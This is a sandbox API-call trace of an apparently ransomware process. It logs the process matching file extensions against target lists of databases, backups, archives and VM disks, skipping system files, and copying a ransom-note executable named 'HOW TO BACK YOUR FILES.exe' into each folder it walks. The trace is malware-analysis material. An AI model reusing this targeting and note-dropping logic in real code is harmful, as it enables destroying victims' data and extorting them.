	[0061.908] lstrlenW (lpString="cpd") returned 3
	[0061.909] lstrcmpiW (lpString1=".js", lpString2="cpd") returned -1
	[0061.909] lstrlenW (lpString="dacpac") returned 6
	[0061.909] lstrlenW (lpString="dad") returned 3
	[0061.909] lstrcmpiW (lpString1=".js", lpString2="dad") returned -1
	[0061.909] lstrlenW (lpString="dadiagrams") returned 10
	[0061.909] lstrlenW (lpString="daschema") returned 8
	[0061.909] lstrlenW (lpString="db-journal") returned 10
	[0061.909] lstrlenW (lpString="db-shm") returned 6
	[0061.909] lstrlenW (lpString="db-wal") returned 6
	[0061.909] lstrlenW (lpString="dbc") returned 3
	[0061.909] lstrcmpiW (lpString1=".js", lpString2="dbc") returned -1
	[0061.909] lstrlenW (lpString="dbs") returned 3
	[0061.909] lstrcmpiW (lpString1=".js", lpString2="dbs") returned -1
	[0061.909] lstrlenW (lpString="dbt") returned 3
	[0061.909] lstrcmpiW (lpString1=".js", lpString2="dbt") returned -1
	[0061.909] lstrlenW (lpString="dbv") returned 3
	[0061.909] lstrcmpiW (lpString1=".js", lpString2="dbv") returned -1
	[0061.909] lstrlenW (lpString="dbx") returned 3
	[0061.909] lstrcmpiW (lpString1=".js", lpString2="dbx") returned -1
	[0061.909] lstrlenW (lpString="dcb") returned 3
	[0061.909] lstrcmpiW (lpString1=".js", lpString2="dcb") returned -1
	[0061.909] lstrlenW (lpString="dct") returned 3
	[0061.909] lstrcmpiW (lpString1=".js", lpString2="dct") returned -1
	[0061.909] lstrlenW (lpString="dcx") returned 3
	[0061.909] lstrcmpiW (lpString1=".js", lpString2="dcx") returned -1
	[0061.909] lstrlenW (lpString="ddl") returned 3
	[0061.909] lstrcmpiW (lpString1=".js", lpString2="ddl") returned -1
	[0061.909] lstrlenW (lpString="dlis") returned 4
	[0061.909] lstrcmpiW (lpString1="u.js", lpString2="dlis") returned 1
	[0061.909] lstrlenW (lpString="dp1") returned 3
	[0061.909] lstrcmpiW (lpString1=".js", lpString2="dp1") returned -1
	[0061.909] lstrlenW (lpString="dqy") returned 3
	[0061.909] lstrcmpiW (lpString1=".js", lpString2="dqy") returned -1
	[0061.909] lstrlenW (lpString="dsk") returned 3
	[0061.910] lstrcmpiW (lpString1=".js", lpString2="dsk") returned -1
	[0061.910] lstrlenW (lpString="dsn") returned 3
	[0061.910] lstrcmpiW (lpString1=".js", lpString2="dsn") returned -1
	[0061.910] lstrlenW (lpString="dtsx") returned 4
	[0061.910] lstrcmpiW (lpString1="u.js", lpString2="dtsx") returned 1
	[0061.910] lstrlenW (lpString="dxl") returned 3
	[0061.910] lstrcmpiW (lpString1=".js", lpString2="dxl") returned -1
	[0061.910] lstrlenW (lpString="eco") returned 3
	[0061.910] lstrcmpiW (lpString1=".js", lpString2="eco") returned -1
	[0061.910] lstrlenW (lpString="ecx") returned 3
	[0061.910] lstrcmpiW (lpString1=".js", lpString2="ecx") returned -1
	[0061.910] lstrlenW (lpString="edb") returned 3
	[0061.910] lstrcmpiW (lpString1=".js", lpString2="edb") returned -1
	[0061.910] lstrlenW (lpString="epim") returned 4
	[0061.910] lstrcmpiW (lpString1="u.js", lpString2="epim") returned 1
	[0061.910] lstrlenW (lpString="fcd") returned 3
	[0061.910] lstrcmpiW (lpString1=".js", lpString2="fcd") returned -1
	[0061.910] lstrlenW (lpString="fdb") returned 3
	[0061.910] lstrcmpiW (lpString1=".js", lpString2="fdb") returned -1
	[0061.910] lstrlenW (lpString="fic") returned 3
	[0061.910] lstrcmpiW (lpString1=".js", lpString2="fic") returned -1
	[0061.910] lstrlenW (lpString="flexolibrary") returned 12
	[0061.910] lstrlenW (lpString="fm5") returned 3
	[0061.910] lstrcmpiW (lpString1=".js", lpString2="fm5") returned -1
	[0061.910] lstrlenW (lpString="fmp") returned 3
	[0061.910] lstrcmpiW (lpString1=".js", lpString2="fmp") returned -1
	[0061.910] lstrlenW (lpString="fmp12") returned 5
	[0061.910] lstrcmpiW (lpString1="pu.js", lpString2="fmp12") returned 1
	[0061.910] lstrlenW (lpString="fmpsl") returned 5
	[0061.910] lstrcmpiW (lpString1="pu.js", lpString2="fmpsl") returned 1
	[0061.910] lstrlenW (lpString="fol") returned 3
	[0061.910] lstrcmpiW (lpString1=".js", lpString2="fol") returned -1
	[0061.910] lstrlenW (lpString="fp3") returned 3
	[0061.910] lstrcmpiW (lpString1=".js", lpString2="fp3") returned -1
	[0061.910] lstrlenW (lpString="fp4") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="fp4") returned -1
	[0061.911] lstrlenW (lpString="fp5") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="fp5") returned -1
	[0061.911] lstrlenW (lpString="fp7") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="fp7") returned -1
	[0061.911] lstrlenW (lpString="fpt") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="fpt") returned -1
	[0061.911] lstrlenW (lpString="frm") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="frm") returned -1
	[0061.911] lstrlenW (lpString="gdb") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1
	[0061.911] lstrlenW (lpString="gdb") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1
	[0061.911] lstrlenW (lpString="grdb") returned 4
	[0061.911] lstrcmpiW (lpString1="u.js", lpString2="grdb") returned 1
	[0061.911] lstrlenW (lpString="gwi") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="gwi") returned -1
	[0061.911] lstrlenW (lpString="hdb") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="hdb") returned -1
	[0061.911] lstrlenW (lpString="his") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="his") returned -1
	[0061.911] lstrlenW (lpString="ib") returned 2
	[0061.911] lstrcmpiW (lpString1="js", lpString2="ib") returned 1
	[0061.911] lstrlenW (lpString="idb") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="idb") returned -1
	[0061.911] lstrlenW (lpString="ihx") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="ihx") returned -1
	[0061.911] lstrlenW (lpString="itdb") returned 4
	[0061.911] lstrcmpiW (lpString1="u.js", lpString2="itdb") returned 1
	[0061.911] lstrlenW (lpString="itw") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="itw") returned -1
	[0061.911] lstrlenW (lpString="jet") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="jet") returned -1
	[0061.911] lstrlenW (lpString="jtx") returned 3
	[0061.911] lstrcmpiW (lpString1=".js", lpString2="jtx") returned -1
	[0061.912] lstrlenW (lpString="kdb") returned 3
	[0061.912] lstrcmpiW (lpString1=".js", lpString2="kdb") returned -1
	[0061.912] lstrlenW (lpString="kexi") returned 4
	[0061.912] lstrcmpiW (lpString1="u.js", lpString2="kexi") returned 1
	[0061.912] lstrlenW (lpString="kexic") returned 5
	[0061.912] lstrcmpiW (lpString1="pu.js", lpString2="kexic") returned 1
	[0061.912] lstrlenW (lpString="kexis") returned 5
	[0061.912] lstrcmpiW (lpString1="pu.js", lpString2="kexis") returned 1
	[0061.912] lstrlenW (lpString="lgc") returned 3
	[0061.912] lstrcmpiW (lpString1=".js", lpString2="lgc") returned -1
	[0061.912] lstrlenW (lpString="lwx") returned 3
	[0061.912] lstrcmpiW (lpString1=".js", lpString2="lwx") returned -1
	[0061.912] lstrlenW (lpString="maf") returned 3
	[0061.912] lstrcmpiW (lpString1=".js", lpString2="maf") returned -1
	[0061.912] lstrlenW (lpString="maq") returned 3
	[0061.912] lstrcmpiW (lpString1=".js", lpString2="maq") returned -1
	[0061.912] lstrlenW (lpString="mar") returned 3
	[0061.912] lstrcmpiW (lpString1=".js", lpString2="mar") returned -1
	[0061.912] lstrlenW (lpString="marshal") returned 7
	[0061.912] lstrlenW (lpString="mas") returned 3
	[0061.912] lstrcmpiW (lpString1=".js", lpString2="mas") returned -1
	[0061.912] lstrlenW (lpString="mav") returned 3
	[0061.912] lstrcmpiW (lpString1=".js", lpString2="mav") returned -1
	[0061.912] lstrlenW (lpString="maw") returned 3
	[0061.912] lstrcmpiW (lpString1=".js", lpString2="maw") returned -1
	[0061.912] lstrlenW (lpString="mdbhtml") returned 7
	[0061.912] lstrlenW (lpString="mdn") returned 3
	[0061.912] lstrcmpiW (lpString1=".js", lpString2="mdn") returned -1
	[0061.912] lstrlenW (lpString="mdt") returned 3
	[0061.912] lstrcmpiW (lpString1=".js", lpString2="mdt") returned -1
	[0061.912] lstrlenW (lpString="mfd") returned 3
	[0061.912] lstrcmpiW (lpString1=".js", lpString2="mfd") returned -1
	[0061.912] lstrlenW (lpString="mpd") returned 3
	[0061.912] lstrcmpiW (lpString1=".js", lpString2="mpd") returned -1
	[0061.912] lstrlenW (lpString="mrg") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="mrg") returned -1
	[0061.913] lstrlenW (lpString="mud") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="mud") returned -1
	[0061.913] lstrlenW (lpString="mwb") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="mwb") returned -1
	[0061.913] lstrlenW (lpString="myd") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="myd") returned -1
	[0061.913] lstrlenW (lpString="ndf") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="ndf") returned -1
	[0061.913] lstrlenW (lpString="nnt") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="nnt") returned -1
	[0061.913] lstrlenW (lpString="nrmlib") returned 6
	[0061.913] lstrlenW (lpString="ns2") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="ns2") returned -1
	[0061.913] lstrlenW (lpString="ns3") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="ns3") returned -1
	[0061.913] lstrlenW (lpString="ns4") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="ns4") returned -1
	[0061.913] lstrlenW (lpString="nsf") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="nsf") returned -1
	[0061.913] lstrlenW (lpString="nv") returned 2
	[0061.913] lstrcmpiW (lpString1="js", lpString2="nv") returned -1
	[0061.913] lstrlenW (lpString="nv2") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="nv2") returned -1
	[0061.913] lstrlenW (lpString="nwdb") returned 4
	[0061.913] lstrcmpiW (lpString1="u.js", lpString2="nwdb") returned 1
	[0061.913] lstrlenW (lpString="nyf") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="nyf") returned -1
	[0061.913] lstrlenW (lpString="odb") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="odb") returned -1
	[0061.913] lstrlenW (lpString="odb") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="odb") returned -1
	[0061.913] lstrlenW (lpString="oqy") returned 3
	[0061.913] lstrcmpiW (lpString1=".js", lpString2="oqy") returned -1
	[0061.914] lstrlenW (lpString="ora") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="ora") returned -1
	[0061.914] lstrlenW (lpString="orx") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="orx") returned -1
	[0061.914] lstrlenW (lpString="owc") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="owc") returned -1
	[0061.914] lstrlenW (lpString="p96") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="p96") returned -1
	[0061.914] lstrlenW (lpString="p97") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="p97") returned -1
	[0061.914] lstrlenW (lpString="pan") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="pan") returned -1
	[0061.914] lstrlenW (lpString="pdb") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="pdb") returned -1
	[0061.914] lstrlenW (lpString="pdm") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="pdm") returned -1
	[0061.914] lstrlenW (lpString="pnz") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="pnz") returned -1
	[0061.914] lstrlenW (lpString="qry") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="qry") returned -1
	[0061.914] lstrlenW (lpString="qvd") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="qvd") returned -1
	[0061.914] lstrlenW (lpString="rbf") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="rbf") returned -1
	[0061.914] lstrlenW (lpString="rctd") returned 4
	[0061.914] lstrcmpiW (lpString1="u.js", lpString2="rctd") returned 1
	[0061.914] lstrlenW (lpString="rod") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="rod") returned -1
	[0061.914] lstrlenW (lpString="rodx") returned 4
	[0061.914] lstrcmpiW (lpString1="u.js", lpString2="rodx") returned 1
	[0061.914] lstrlenW (lpString="rpd") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="rpd") returned -1
	[0061.914] lstrlenW (lpString="rsd") returned 3
	[0061.914] lstrcmpiW (lpString1=".js", lpString2="rsd") returned -1
	[0061.914] lstrlenW (lpString="sas7bdat") returned 8
	[0061.915] lstrlenW (lpString="sbf") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="sbf") returned -1
	[0061.915] lstrlenW (lpString="scx") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="scx") returned -1
	[0061.915] lstrlenW (lpString="sdb") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="sdb") returned -1
	[0061.915] lstrlenW (lpString="sdc") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="sdc") returned -1
	[0061.915] lstrlenW (lpString="sdf") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="sdf") returned -1
	[0061.915] lstrlenW (lpString="sis") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="sis") returned -1
	[0061.915] lstrlenW (lpString="spq") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="spq") returned -1
	[0061.915] lstrlenW (lpString="te") returned 2
	[0061.915] lstrcmpiW (lpString1="js", lpString2="te") returned -1
	[0061.915] lstrlenW (lpString="teacher") returned 7
	[0061.915] lstrlenW (lpString="tmd") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="tmd") returned -1
	[0061.915] lstrlenW (lpString="tps") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="tps") returned -1
	[0061.915] lstrlenW (lpString="trc") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="trc") returned -1
	[0061.915] lstrlenW (lpString="trc") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="trc") returned -1
	[0061.915] lstrlenW (lpString="trm") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="trm") returned -1
	[0061.915] lstrlenW (lpString="udb") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="udb") returned -1
	[0061.915] lstrlenW (lpString="udl") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="udl") returned -1
	[0061.915] lstrlenW (lpString="usr") returned 3
	[0061.915] lstrcmpiW (lpString1=".js", lpString2="usr") returned -1
	[0061.915] lstrlenW (lpString="v12") returned 3
	[0061.916] lstrcmpiW (lpString1=".js", lpString2="v12") returned -1
	[0061.916] lstrlenW (lpString="vis") returned 3
	[0061.916] lstrcmpiW (lpString1=".js", lpString2="vis") returned -1
	[0061.916] lstrlenW (lpString="vpd") returned 3
	[0061.916] lstrcmpiW (lpString1=".js", lpString2="vpd") returned -1
	[0061.916] lstrlenW (lpString="vvv") returned 3
	[0061.916] lstrcmpiW (lpString1=".js", lpString2="vvv") returned -1
	[0061.916] lstrlenW (lpString="wdb") returned 3
	[0061.916] lstrcmpiW (lpString1=".js", lpString2="wdb") returned -1
	[0061.916] lstrlenW (lpString="wmdb") returned 4
	[0061.916] lstrcmpiW (lpString1="u.js", lpString2="wmdb") returned -1
	[0061.916] lstrlenW (lpString="wrk") returned 3
	[0061.916] lstrcmpiW (lpString1=".js", lpString2="wrk") returned -1
	[0061.916] lstrlenW (lpString="xdb") returned 3
	[0061.916] lstrcmpiW (lpString1=".js", lpString2="xdb") returned -1
	[0061.916] lstrlenW (lpString="xld") returned 3
	[0061.916] lstrcmpiW (lpString1=".js", lpString2="xld") returned -1
	[0061.916] lstrlenW (lpString="xmlff") returned 5
	[0061.916] lstrcmpiW (lpString1="pu.js", lpString2="xmlff") returned -1
	[0061.916] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf6e290, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3cf6e290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.916] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.916] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf6e290, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3cf6e290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0061.916] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0061.916] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0061.916] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css"
	[0061.916] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0061.916] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0061.916] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css") returned 61
	[0061.916] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css"
	[0061.916] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.916] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.921] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3cfba550, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cfba550, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0061.922] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.922] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.922] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="cpu.css" | out: lpString1="cpu.css") returned="cpu.css"
	[0061.922] lstrlenW (lpString="cpu.css") returned 7
	[0061.922] lstrlenW (lpString="Apollon865") returned 10
	[0061.922] lstrlenW (lpString=".dll") returned 4
	[0061.922] lstrcmpiW (lpString1="cpu.css", lpString2=".dll") returned 1
	[0061.922] lstrlenW (lpString=".lnk") returned 4
	[0061.922] lstrcmpiW (lpString1="cpu.css", lpString2=".lnk") returned 1
	[0061.922] lstrlenW (lpString=".ini") returned 4
	[0061.922] lstrcmpiW (lpString1="cpu.css", lpString2=".ini") returned 1
	[0061.922] lstrlenW (lpString=".sys") returned 4
	[0061.922] lstrcmpiW (lpString1="cpu.css", lpString2=".sys") returned 1
	[0061.922] lstrlenW (lpString="cpu.css") returned 7
	[0061.922] lstrlenW (lpString="bak") returned 3
	[0061.922] lstrcmpiW (lpString1="css", lpString2="bak") returned 1
	[0061.922] lstrlenW (lpString="ba_") returned 3
	[0061.922] lstrcmpiW (lpString1="css", lpString2="ba_") returned 1
	[0061.922] lstrlenW (lpString="dbb") returned 3
	[0061.922] lstrcmpiW (lpString1="css", lpString2="dbb") returned -1
	[0061.922] lstrlenW (lpString="vmdk") returned 4
	[0061.922] lstrcmpiW (lpString1=".css", lpString2="vmdk") returned -1
	[0061.922] lstrlenW (lpString="rar") returned 3
	[0061.922] lstrcmpiW (lpString1="css", lpString2="rar") returned -1
	[0061.922] lstrlenW (lpString="zip") returned 3
	[0061.922] lstrcmpiW (lpString1="css", lpString2="zip") returned -1
	[0061.922] lstrlenW (lpString="tgz") returned 3
	[0061.922] lstrcmpiW (lpString1="css", lpString2="tgz") returned -1
	[0061.922] lstrlenW (lpString="vbox") returned 4
	[0061.923] lstrcmpiW (lpString1=".css", lpString2="vbox") returned -1
	[0061.923] lstrlenW (lpString="vdi") returned 3
	[0061.923] lstrcmpiW (lpString1="css", lpString2="vdi") returned -1
	[0061.923] lstrlenW (lpString="vhd") returned 3
	[0061.923] lstrcmpiW (lpString1="css", lpString2="vhd") returned -1
	[0061.923] lstrlenW (lpString="vhdx") returned 4
	[0061.923] lstrcmpiW (lpString1=".css", lpString2="vhdx") returned -1
	[0061.923] lstrlenW (lpString="avhd") returned 4
	[0061.923] lstrcmpiW (lpString1=".css", lpString2="avhd") returned -1
	[0061.923] lstrlenW (lpString="db") returned 2
	[0061.923] lstrcmpiW (lpString1="ss", lpString2="db") returned 1
	[0061.923] lstrlenW (lpString="db2") returned 3
	[0061.923] lstrcmpiW (lpString1="css", lpString2="db2") returned -1
	[0061.923] lstrlenW (lpString="db3") returned 3
	[0061.923] lstrcmpiW (lpString1="css", lpString2="db3") returned -1
	[0061.923] lstrlenW (lpString="dbf") returned 3
	[0061.923] lstrcmpiW (lpString1="css", lpString2="dbf") returned -1
	[0061.923] lstrlenW (lpString="mdf") returned 3
	[0061.923] lstrcmpiW (lpString1="css", lpString2="mdf") returned -1
	[0061.923] lstrlenW (lpString="mdb") returned 3
	[0061.923] lstrcmpiW (lpString1="css", lpString2="mdb") returned -1
	[0061.923] lstrlenW (lpString="sql") returned 3
	[0061.923] lstrcmpiW (lpString1="css", lpString2="sql") returned -1
	[0061.923] lstrlenW (lpString="sqlite") returned 6
	[0061.923] lstrcmpiW (lpString1="pu.css", lpString2="sqlite") returned -1
	[0061.923] lstrlenW (lpString="sqlite3") returned 7
	[0061.923] lstrlenW (lpString="sqlitedb") returned 8
	[0061.923] lstrlenW (lpString="xml") returned 3
	[0061.923] lstrcmpiW (lpString1="css", lpString2="xml") returned -1
	[0061.923] lstrlenW (lpString="$er") returned 3
	[0061.923] lstrcmpiW (lpString1="css", lpString2="$er") returned 1
	[0061.923] lstrlenW (lpString="4dd") returned 3
	[0061.923] lstrcmpiW (lpString1="css", lpString2="4dd") returned 1
	[0061.923] lstrlenW (lpString="4dl") returned 3
	[0061.924] lstrcmpiW (lpString1="css", lpString2="4dl") returned 1
	[0061.924] lstrlenW (lpString="^^^") returned 3
	[0061.924] lstrcmpiW (lpString1="css", lpString2="^^^") returned 1
	[0061.924] lstrlenW (lpString="abs") returned 3
	[0061.924] lstrcmpiW (lpString1="css", lpString2="abs") returned 1
	[0061.924] lstrlenW (lpString="abx") returned 3
	[0061.924] lstrcmpiW (lpString1="css", lpString2="abx") returned 1
	[0061.924] lstrlenW (lpString="accdb") returned 5
	[0061.924] lstrcmpiW (lpString1="u.css", lpString2="accdb") returned 1
	[0061.924] lstrlenW (lpString="accdc") returned 5
	[0061.924] lstrcmpiW (lpString1="u.css", lpString2="accdc") returned 1
	[0061.924] lstrlenW (lpString="accde") returned 5
	[0061.924] lstrcmpiW (lpString1="u.css", lpString2="accde") returned 1
	[0061.924] lstrlenW (lpString="accdr") returned 5
	[0061.924] lstrcmpiW (lpString1="u.css", lpString2="accdr") returned 1
	[0061.924] lstrlenW (lpString="accdt") returned 5
	[0061.924] lstrcmpiW (lpString1="u.css", lpString2="accdt") returned 1
	[0061.924] lstrlenW (lpString="accdw") returned 5
	[0061.924] lstrcmpiW (lpString1="u.css", lpString2="accdw") returned 1
	[0061.924] lstrlenW (lpString="accft") returned 5
	[0061.924] lstrcmpiW (lpString1="u.css", lpString2="accft") returned 1
	[0061.924] lstrlenW (lpString="adb") returned 3
	[0061.924] lstrcmpiW (lpString1="css", lpString2="adb") returned 1
	[0061.924] lstrlenW (lpString="adb") returned 3
	[0061.924] lstrcmpiW (lpString1="css", lpString2="adb") returned 1
	[0061.924] lstrlenW (lpString="ade") returned 3
	[0061.924] lstrcmpiW (lpString1="css", lpString2="ade") returned 1
	[0061.924] lstrlenW (lpString="adf") returned 3
	[0061.924] lstrcmpiW (lpString1="css", lpString2="adf") returned 1
	[0061.924] lstrlenW (lpString="adn") returned 3
	[0061.924] lstrcmpiW (lpString1="css", lpString2="adn") returned 1
	[0061.924] lstrlenW (lpString="adp") returned 3
	[0061.924] lstrcmpiW (lpString1="css", lpString2="adp") returned 1
	[0061.924] lstrlenW (lpString="alf") returned 3
	[0061.924] lstrcmpiW (lpString1="css", lpString2="alf") returned 1
	[0061.925] lstrlenW (lpString="ask") returned 3
	[0061.925] lstrcmpiW (lpString1="css", lpString2="ask") returned 1
	[0061.925] lstrlenW (lpString="btr") returned 3
	[0061.925] lstrcmpiW (lpString1="css", lpString2="btr") returned 1
	[0061.925] lstrlenW (lpString="cat") returned 3
	[0061.925] lstrcmpiW (lpString1="css", lpString2="cat") returned 1
	[0061.925] lstrlenW (lpString="cdb") returned 3
	[0061.925] lstrcmpiW (lpString1="css", lpString2="cdb") returned 1
	[0061.925] lstrlenW (lpString="ckp") returned 3
	[0061.925] lstrcmpiW (lpString1="css", lpString2="ckp") returned 1
	[0061.925] lstrlenW (lpString="cma") returned 3
	[0061.925] lstrcmpiW (lpString1="css", lpString2="cma") returned 1
	[0061.925] lstrlenW (lpString="cpd") returned 3
	[0061.925] lstrcmpiW (lpString1="css", lpString2="cpd") returned 1
	[0061.925] lstrlenW (lpString="dacpac") returned 6
	[0061.925] lstrcmpiW (lpString1="pu.css", lpString2="dacpac") returned 1
	[0061.925] lstrlenW (lpString="dad") returned 3
	[0061.925] lstrcmpiW (lpString1="css", lpString2="dad") returned -1
	[0061.925] lstrlenW (lpString="dadiagrams") returned 10
	[0061.925] lstrlenW (lpString="daschema") returned 8
	[0061.925] lstrlenW (lpString="db-journal") returned 10
	[0061.925] lstrlenW (lpString="db-shm") returned 6
	[0061.925] lstrcmpiW (lpString1="pu.css", lpString2="db-shm") returned 1
	[0061.925] lstrlenW (lpString="db-wal") returned 6
	[0061.925] lstrcmpiW (lpString1="pu.css", lpString2="db-wal") returned 1
	[0061.925] lstrlenW (lpString="dbc") returned 3
	[0061.925] lstrcmpiW (lpString1="css", lpString2="dbc") returned -1
	[0061.925] lstrlenW (lpString="dbs") returned 3
	[0061.925] lstrcmpiW (lpString1="css", lpString2="dbs") returned -1
	[0061.925] lstrlenW (lpString="dbt") returned 3
	[0061.925] lstrcmpiW (lpString1="css", lpString2="dbt") returned -1
	[0061.925] lstrlenW (lpString="dbv") returned 3
	[0061.925] lstrcmpiW (lpString1="css", lpString2="dbv") returned -1
	[0061.926] lstrlenW (lpString="dbx") returned 3
	[0061.926] lstrcmpiW (lpString1="css", lpString2="dbx") returned -1
	[0061.926] lstrlenW (lpString="dcb") returned 3
	[0061.926] lstrcmpiW (lpString1="css", lpString2="dcb") returned -1
